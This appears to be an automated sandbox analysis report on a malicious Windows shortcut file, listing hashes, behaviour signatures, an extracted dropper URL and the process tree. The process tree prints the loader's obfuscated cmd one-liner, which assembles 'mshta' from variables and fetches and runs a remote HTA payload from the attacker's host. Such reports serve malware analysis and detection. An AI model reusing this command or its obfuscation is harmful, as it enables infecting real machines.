Analysis
- max time kernel
148s - max time network
127s - platform
windows11-ltsc_2024_x64 - resource
win11ltsc2024-20260709-en - resource tags
arch:x64arch:x86image:win11ltsc2024-20260709-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows - submitted
04/08/2026, 08:25
Static task
static1
Behavioral task
behavioral1
Sample
DOC-CWM4Z4.lnk
Resource
win10v2004-20260513-en
4 signatures
150 seconds
Behavioral task
behavioral2
Sample
DOC-CWM4Z4.lnk
Resource
win11ltsc2024-20260709-en
3 signatures
150 seconds
General
- Target DOC-CWM4Z4.lnk
- Size 1KB
- Sample260804-kbf5bsvflg
- SHA256 76018acfd4ed53f35f521c2e2381fcd08a3abec74f93817c17b7ad11076f2e6a
- MD5 301cd481f99a4eccf829f921db9a34c1
- SHA1 d893eff97d4794d7d4a0f93639d459ebd6247a0d
- SHA512 be83facac721fdf8550608e6d57bd36344cde52616e9a92f1cad6487edcc7408f52373a3d0e8c819fba58408b4488dfd8d890018826858092ed369798bdd2cbc
- TLSH T1133197106FFC0664F3F38E7798BB572485BBB9968D20C62E0040450C1472A15E17AF67
- MD5 SHA1 SHA512 TLSH
Score
10/10
Malware Config
Extracted
Language
-
hta
Source
URLs
-
hta.dropper
https://ma-pdffiller.lat/h/estagio1.php?r=391469FB5D82DB
Signatures
- Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
- Executes a command shell one-liner 1 TTPs 2 IoCs
Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.
pid Process 4956 cmd.exe 4152 cmd.exe - Suspicious use of WriteProcessMemory 2 IoCs
description pid Process procid_target PID 4956 wrote to memory of 4152 4956 cmd.exe 90 PID 4152 wrote to memory of 4680 4152 cmd.exe 91
Processes
-
C:\Windows\system32\cmd.execmd /c C:\Users\Admin\AppData\Local\Temp\DOC-CWM4Z4.lnk1⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:4956 -
C:\WINDOWS\system32\cmd.exe"C:\WINDOWS\system32\cmd.exe" /V:on /c "set uuhl=msh&&set qov=ta&&start "" !uuhl!!qov! https://ma-pdffiller.lat/h/estagio1.php?r=391469FB5D82DB"2⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:4152 -
C:\Windows\System32\mshta.exemshta https://ma-pdffiller.lat/h/estagio1.php?r=391469FB5D82DB3⤵PID:4680
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